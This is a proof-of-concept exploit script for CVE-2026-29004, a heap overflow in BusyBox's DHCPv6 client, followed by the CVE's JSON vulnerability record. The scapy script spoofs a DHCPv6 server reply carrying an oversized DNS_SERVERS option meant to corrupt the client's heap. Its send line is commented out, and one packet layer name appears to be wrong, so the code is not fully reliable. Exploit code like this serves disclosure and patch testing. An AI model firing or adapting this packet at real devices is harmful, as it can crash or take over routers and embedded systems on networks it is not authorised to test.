CVE-2026-29004

# PoC for CVE-2026-29004 BusyBox DHCPv6 Heap Overflow # This script crafts a malicious DHCPv6 packet to trigger the buffer overflow in udhcpc6. from scapy.all import * import sys # Configuration interface = "eth0" target_mac = "00:11:22:33:44:55" src_mac = "aa:bb:cc:dd:ee:ff" src_link_local = "fe80::aabb:ccff:fecc:ddee" target_link_local = "fe80::211:22ff:fe33:4455" # Construct the malicious DHCPv6 Reply # The vulnerability lies in the handling of D6_OPT_DNS_SERVERS (option 23). # We set a length that triggers the miscalculation in option_to_env(). eth = Ether(src=src_mac, dst=target_mac) ipv6 = IPv6(src=src_link_local, dst=target_link_local) udp = UDP(sport=547, dport=546) # DHCPv6 Server to Client # Transaction ID must match the client's Solicit xid = 0x123456 # Malformed DNS Servers option payload (Option 23) # Sending excessive data to trigger the heap overflow dns_opt_payload = b"\x00" * 300 # Build DHCPv6 Options dhcp6_options = [ DHCP6OptServerId(duid=DUID_LL(lladdr=src_mac)), DHCP6OptClientId(duid=DUID_LL(lladdr=target_mac)), DHCP6OptIA_NA(iaid=1, T1=3600, T2=5400), # Injecting the malformed option directly DHCP6OptUnknown(optcode=23, optlen=len(dns_opt_payload), optdata=dns_opt_payload) ] pkt = eth / ipv6 / udp / DHCP6_Option(trid=xid) / dhcp6_options print(f"[*] Sending malicious DHCPv6 packet to {target_mac}...") # sendp(pkt, iface=interface, verbose=1) print("[!] Packet crafted. Verify in a controlled lab environment.")

{"cve": {"id": "CVE-2026-29004", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:26.523", "lastModified": "2026-05-06T14:16:07.860", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "BusyBox before commit 42202bf contains a heap buffer overflow vulnerability in the DHCPv6 client (udhcpc6) DNS_SERVERS option handler in networking/udhcp/d6_dhcpc.c that allows network-adjacent attackers to trigger memory corruption by sending a crafted DHCPv6 response with a malformed D6_OPT_DNS_SERVERS option. Attackers can exploit incorrect heap buffer allocation calculations in the option_to_env() function to cause denial of service or achieve arbitrary code execution on embedded systems without heap hardening."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://busybox.net/", "source": "[email protected]"}, {"url": "https://github.com/vda-linux/busybox_mirror/commit/42202bfb1e6ac51fa995beda8be4d7b654aeee2a", "source": "[email protected]"}, {"url": "https://github.com/vda-linux/busybox_mirror/commit/d368f3f7836d1c2484c8f839316e5c93e76d4409", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/busybox-dhcpv6-client-heap-buffer-overflow-via-dns-servers", "source": "[email protected]"}, {"url": "https://y637f9qq2x.com/posts/busybox-dhcpv6-heap-overflow/", "source": "[email protected]"}]}}